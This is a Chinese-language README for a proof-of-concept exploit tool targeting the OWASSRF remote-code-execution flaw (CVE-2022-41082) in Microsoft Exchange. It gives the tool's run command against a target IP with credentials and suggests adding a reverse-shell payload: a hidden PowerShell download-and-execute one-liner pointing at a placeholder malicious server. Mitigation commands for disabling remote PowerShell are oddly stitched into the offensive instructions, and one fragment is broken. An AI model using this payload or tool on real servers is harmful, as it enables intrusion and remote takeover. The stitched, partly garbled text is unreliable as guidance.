此仓库包含一个概念验证(PoC)工具,用于利用 Microsoft Exchange 服务器中的 OWASSRF 漏洞(CVE-2022-41082)。该漏洞利用允许攻击者在服务器上执行任意命令,可能危及系统安全。
该工具利用 OWASSRF 漏洞绕过身份验证,并在 Exchange 服务器上获得远程代码执行(RCE)能力。通过利用此漏洞,攻击者可以像已认证用户一样执行命令,从而导致严重的安全后果。
使用此工具时,请确保保持相同的 Exchange 管理 Shell 会话打开。关键是在为其他用户禁用远程 PowerShell 访问后,至少为一个用户启用该访问。否则,您可能会失去所有 Exchange 服务器的管理 Shell 访问权限。
以下是一些有用的 PowerShell 命令,用于检查和管理谁有访问权限:
要查看哪些用户拥有远程 PowerShell 访问权限,哪些没有,请运行:
Get-User -ResultSize Unlimited -Filter 'RemotePowerShellEnabled -eq $true'
Get-User -ResultSize Unlimited -Filter 'RemotePowerShellEnabled -eq $false'
**警告:**除非重新添加至少一个用户,否则小心不要关闭 Exchange 管理 Shell 窗口。
您可以使用以下命令禁用所有用户的 PowerShell 访问:
$user = Get-User -ResultSize Unlimited -Filter 'RemotePowerShellEnabled -eq $true'
$user | foreach {Set-User -Identity $_ -RemotePowerShellEnabled $false}
或者使用单个命令达到相同效果:
Get-User -ResultSize Unlimited | Set-User -RemotePowerShellEnabled $false
要为特定用户授予远程 PowerShell 访问权限,请运行:
Set-User "guest" -RemotePowerShellEnabled $true
如果您失去了所有用户的 PowerShell 访问权限,您可以创建一个具有管理员权限的新邮箱用户。此新用户将绕过已应用的策略,使您能够再次使用 Exchange 管理 Shell。
pip 安装)要执行 PoC 工具,请运行以下命令:
python3 poc.py -H <target_IP> -u <username> -p <password> -c <command_file>
将 <target_IP>、<username>、<password> 和 <command_file> 替换为您的具体值。
您可以修改 cmd_file 中的命令以包含反向 Shell 有效载荷。例如:
powershell -NoP -NonI -W Hidden -Exec Bypass "IEX (New-Object Net.WebClient).DownloadString('http://your-malicious-server.com/reverse.ps1')"
该命令将从您的服务器下载并执行 PowerShell 脚本,为您提供反向 Shell。
有关 OWASSRF 漏洞和 PoC 代码的更多信息,请访问以下链接:OWASSRF CVE-2022-41082 PoC 和 https://www.youtube.com/watch?v=c2DZYP6jc7g